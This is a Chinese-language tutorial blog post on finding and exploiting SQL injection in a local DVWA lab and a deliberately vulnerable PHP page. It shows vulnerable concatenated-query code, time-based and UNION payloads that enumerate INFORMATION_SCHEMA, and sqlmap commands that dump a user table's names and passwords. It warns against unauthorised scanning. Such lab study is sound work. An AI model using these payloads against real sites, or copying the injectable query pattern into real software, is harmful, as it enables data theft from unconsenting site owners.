web安全學習筆記(四) SQL注入之二

在上一章中,描述瞭如何進行SQL注入,以及SQL注入的思路。那麼怎麼發現一個地方是否可能是SQL注入點呢?
第一種方法:
再之前搭建的OWASP靶機中,選擇Damn Vulnerable Web Application 這個應用,賬戶名爲admin,密碼也爲admin。登陸成功後,選擇SQL 注入的頁面:
在這裏插入圖片描述
我們可以看到,這裏是一個用戶用戶查詢的界面,輸入用戶的id,會返回相應的用戶信息。點擊查看源代碼:

SQL Injection Source
<?php    

if(isset($_GET['Submit'])){
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>

我們可以看到,關鍵的SQL語句在這裏:

 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

此時,如果我們輸入一個‘:
在這裏插入圖片描述
這裏提示有錯誤,那麼說明可能是存在注入漏洞的。
然而,在上面的代碼中,對錯誤進行了處理:

$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

當發生錯誤時,會提示錯誤信息。但是有的代碼並不會提示錯誤信息,比如上一篇文章中寫的代碼。這時如果在搜索框輸入單引號,並不會提示錯誤任何信息。
在這裏插入圖片描述
這是可以用到基於時間的盲注,在查詢欄中輸入:
a’ and sleep(5)#
如何存在注入漏洞,那麼網頁會睡眠五秒後再次運行:
在這裏插入圖片描述
當發現注入點以後,攻擊者可能會選擇拖庫。但是我們知道,在操作數據庫的時候,需要知道數據庫中到底有哪些庫?又有哪些表?表中有哪些字段?如果沒辦法知道這些信息,是無法查詢信息。
在使用數據庫客戶端時,常常用到show databases,show tables 等命令,然後在注入點中,sql語句是完全寫好的,例如:

$sql = "select * from user where name = '$name'";

在這條sql語句中,我們只能改變name字段的信息,或者說name 變量的值,若我們使用show databases或是show tables指令,那麼這條sql語句就變成了:

select * from user where name = 'show databases';

代碼執行的結果即爲查詢用戶名爲“show databases”的信息,所以肯定是查不到的。
那麼如何查詢數據庫名和表名呢?在MySQL5.0以及以上版本中,提供了INFORMATION_SCHEMA 數據庫,其中記錄了所有的數據庫信息,表信息,以及列信息,通過查詢這個數據庫,就可以獲得需要知道的內容了。
例如:

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA;

可以查詢數據庫的內容,只要把這條sql語句使用union聯合,就能得知我們想要的信息了。
通過SQL注入查詢所有數據庫信息:
在輸入框輸入: ’ union select SCHEMA_NAME,null from INFORMATION_SCHEMA.SCHEMATA#
即爲顯示所有數據庫的信息:
在這裏插入圖片描述
當然也可以查詢所有表的信息:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES#

在這裏插入圖片描述
查詢當前數據庫中的所有表:
’ union select TABLE_NAME,null from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select database())#
在這裏插入圖片描述
也可以查詢指定表的所有字段:
’ union select COLUMN_NAME,null from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME=‘user’#
在這裏插入圖片描述
在這個窗口的服務器中,select語句只包括了兩個字段,那麼在union select 查詢的時候,也只能跟兩個字段,帶來了極大的不便利。但是可以使用concat_ws()函數對字符串進行連接:
’ union select concat_ws(@@datadir, @@basedir, user(), current_user()),null#
在這裏插入圖片描述
在SQL注入中,以自動注入爲主,手動注入爲輔。提到自動注入,不得不提到一個非常有名的SQL注入工具——sqlmap。
sqlmap 是用一款開源的,python開發的sql注入工具。
sqlmap
請注意!根據中國網絡安全法,無論出於什麼目的,在沒有對方書面授權的情況下,請不要私自掃描他人網站的漏洞!
windows系統下,使用python sqlmap.py -h顯示指令:
在這裏插入圖片描述
常用的參數有,–dbms 指定數據庫的種類,例如MySQL,SQLServer, Oracle等等,–dump 下載數據庫等等。爲了演示sqlmap,我們新建一個index2.php文件在文件夾下,不需要cookie的判斷,並且將post方法改爲get方法。

<!DOCTYPE html>
<html lang="en">
<head>
    <title> Hello World! </title>
    <meta charset="UTF-8">
</head>
<body>
<form name="input" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
    user: <br /><label>
        <input type="text" name="username">
        <input type="submit" value="query">
    </label><br>

</form>

<?php
$conn = new mysqli("localhost","phpadmin","ppzz4869","PHP");
if ($conn->connect_error){
    echo "connection fail";
}
$name = $_GET['username'];
$sql = "select * from user where name = '$name'";
$res = $conn->query($sql);
if ($res->num_rows > 0){
    while ($row = $res->fetch_row()){
        echo $row[0], "\t";
    }
} else {
    echo "no such user";
}
?>

</body>
</html>

當我們查詢用戶a時,可以看到地址欄顯示:
http://192.168.85.128/index2.php?username=a
這裏問號後的內容代表傳參,將a傳給username。接下來測試sqlmap:

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql

在這裏插入圖片描述
程序執行完成後顯示,MySQL的版本大於5.0.12, 並且支持時間盲注,布爾盲注和union查詢。代碼執行完成後,數據也被保存到了本地。使用參數–dbs可以獲取數據庫。

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --dbs

在這裏插入圖片描述
可用的數據庫有兩個,PHP和information_schema。

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --tables -D "PHP"

列出PHP庫中的所有表
在這裏插入圖片描述
可以看到PHP庫中只有一個user表格

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dbms=mysql --columns -T "user" -D "PHP"

列出user表中的所有字段名
在這裏插入圖片描述
當然也可以加入–dump參數,將數據庫的內容下載到本地。

python sqlmap.py -u "http://192.168.85.128/index2.php?username=a" --dump -C "name,psw" -T "user" -D "PHP"

下載完成後:
在這裏插入圖片描述
在這裏插入圖片描述
dump下來的內容在output文件夾下,以csv的格式存儲。
當然,除了get模式,sqlmap同時也支持post模式的sql注入。
在訪問頁面的過程中,使用burp抓包(burp抓包以後有機會詳細寫),將內容以txt的形式保存到本地:

POST /index.php HTTP/1.1
Host: 192.168.85.128
Content-Length: 11
Cache-Control: max-age=0
Origin: http://192.168.85.128
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.85.128/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,zh-CN;q=0.6
Cookie: username=a
Connection: close

username=aa

保存成功以後,運行sqlmap:

python sqlmap.py -r "C:\Users\tong\post.txt" --dbms=mysql --batch

在這裏插入圖片描述
運行結束後,發現可以進行注入。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章